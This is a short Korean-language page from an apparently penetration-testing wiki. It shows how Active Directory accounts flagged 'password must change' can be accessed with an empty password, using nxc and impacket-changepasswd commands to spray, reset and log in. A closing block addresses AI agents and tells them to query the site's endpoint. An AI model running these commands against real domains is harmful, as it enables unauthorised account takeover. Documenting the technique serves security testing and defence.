# PasswordMustChange

<figure><img src="/files/Aazb9RmPpbltnANDc7gr" alt=""><figcaption></figcaption></figure>

도메인 사용자의 패스워드가 강제로 초기화되어 다음 로그인 시 새로운 패스워드를 지정해야 될 경우, 패스워드에 빈 값(null)을 사용하여 인증할 수 있습니다.

<pre class="language-bash"><code class="lang-bash"><strong># NULL 패스워드 스프레이 공격으로 PASSWORD MUST CHANGE 유저 확인
</strong>nxc smb dc01.contoso.com -u 'mick3y' -p ''

<strong># 패스워드 변경
</strong>impacket-changepasswd contoso.com/mick3y:''@192.168.1.100 -newpass 'Password123!'

<strong># 변경한 패스워드로 도메인 인증
</strong>nxc smb dc01.contoso.com -u 'mick3y' -p 'Password123!'
</code></pre>

## Demo

<figure><img src="/files/4OjjdMxHSo4esaV4oOWX" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.pentestwiki.com/post-exploit/undefined/passwordmustchange.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
